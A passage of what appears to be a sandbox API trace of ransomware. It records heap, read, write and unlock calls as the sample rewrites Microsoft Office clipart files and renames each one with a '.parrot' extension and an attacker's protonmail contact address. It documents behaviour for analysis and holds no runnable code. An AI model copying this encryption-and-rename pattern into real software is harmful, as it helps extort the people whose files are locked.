hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0154.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0154.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0154.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0154.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0154.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0154.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0154.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x148) returned 0x645e40 [0154.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0154.883] WriteFile (in: hFile=0x27c, lpBuffer=0x645e40*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x645e40*, lpNumberOfBytesWritten=0x18ebe4*=0x148, lpOverlapped=0x0) returned 1 [0154.885] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645e40 | out: hHeap=0x5b0000) returned 1 [0154.885] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x147, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0154.885] CloseHandle (hObject=0x27c) returned 1 [0154.885] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0154.885] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x64fcd0 [0154.885] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0154.885] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64fcd0 | out: hHeap=0x5b0000) returned 1 [0154.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ebbe0 | out: hHeap=0x5b0000) returned 1 [0154.886] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0154.886] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0154.886] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0154.886] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0154.901] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.901] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0154.905] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.905] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2dd, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2dd, lpOverlapped=0x0) returned 1 [0154.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0154.905] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0154.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0154.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0154.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0154.906] GetLastError () returned 0x0 [0154.906] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0154.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0154.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0154.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0154.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0154.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0154.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0154.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0154.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0154.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0154.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0154.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0154.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0154.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0154.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0154.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0154.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0154.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0154.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0154.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0154.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0154.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0154.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0154.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0154.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0154.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0154.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2268068 [0154.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0154.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0154.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268068 | out: hHeap=0x5b0000) returned 1 [0154.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0154.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0154.907] WriteFile (in: hFile=0x27c, lpBuffer=0x5d33c8*, nNumberOfBytesToWrite=0x3f8, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x5d33c8*, lpNumberOfBytesWritten=0x18ebe4*=0x3f8, lpOverlapped=0x0) returned 1 [0154.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0154.909] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0154.909] CloseHandle (hObject=0x27c) returned 1 [0154.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0154.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x64fcd0 [0154.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0154.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64fcd0 | out: hHeap=0x5b0000) returned 1 [0154.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0154.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0154.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0154.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0154.913] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.913] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0154.914] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.914] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x595, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x595, lpOverlapped=0x0) returned 1 [0154.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0154.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0154.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0154.915] GetLastError () returned 0x0 [0154.915] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0154.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0154.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0154.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0154.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0154.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0154.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0154.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0154.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0154.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0154.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0154.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0154.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0154.916] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0154.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0154.916] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0154.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0154.916] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0154.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0154.916] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2268068 [0154.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0154.916] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0154.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268068 | out: hHeap=0x5b0000) returned 1 [0154.916] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0154.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0154.916] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0154.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.916] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x6af250 [0154.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0154.916] WriteFile (in: hFile=0x27c, lpBuffer=0x6af250*, nNumberOfBytesToWrite=0x6b8, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x6af250*, lpNumberOfBytesWritten=0x18ebe4*=0x6b8, lpOverlapped=0x0) returned 1 [0154.917] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0154.917] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ad, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0154.917] CloseHandle (hObject=0x27c) returned 1 [0154.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0154.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x64fcd0 [0154.917] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0154.917] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64fcd0 | out: hHeap=0x5b0000) returned 1 [0154.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0154.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0154.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0154.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0154.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0154.923] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.923] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0154.924] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.924] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11d1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11d1, lpOverlapped=0x0) returned 1 [0154.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0154.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0154.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0154.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0154.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0154.925] GetLastError () returned 0x0 [0154.926] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0154.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0154.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0154.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0154.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0154.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0154.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0154.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0154.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0154.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0154.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0154.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0154.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0154.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0154.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0154.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0154.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2268068 [0154.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0154.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0154.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268068 | out: hHeap=0x5b0000) returned 1 [0154.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0154.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0154.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0154.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0154.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0154.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x226c090 [0154.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0154.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0154.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c090 | out: hHeap=0x5b0000) returned 1 [0154.927] WriteFile (in: hFile=0x27c, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x12f8, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18ebe4*=0x12f8, lpOverlapped=0x0) returned 1 [0154.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0154.928] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0154.928] CloseHandle (hObject=0x27c) returned 1 [0154.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0154.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x64fcd0 [0154.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0154.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft 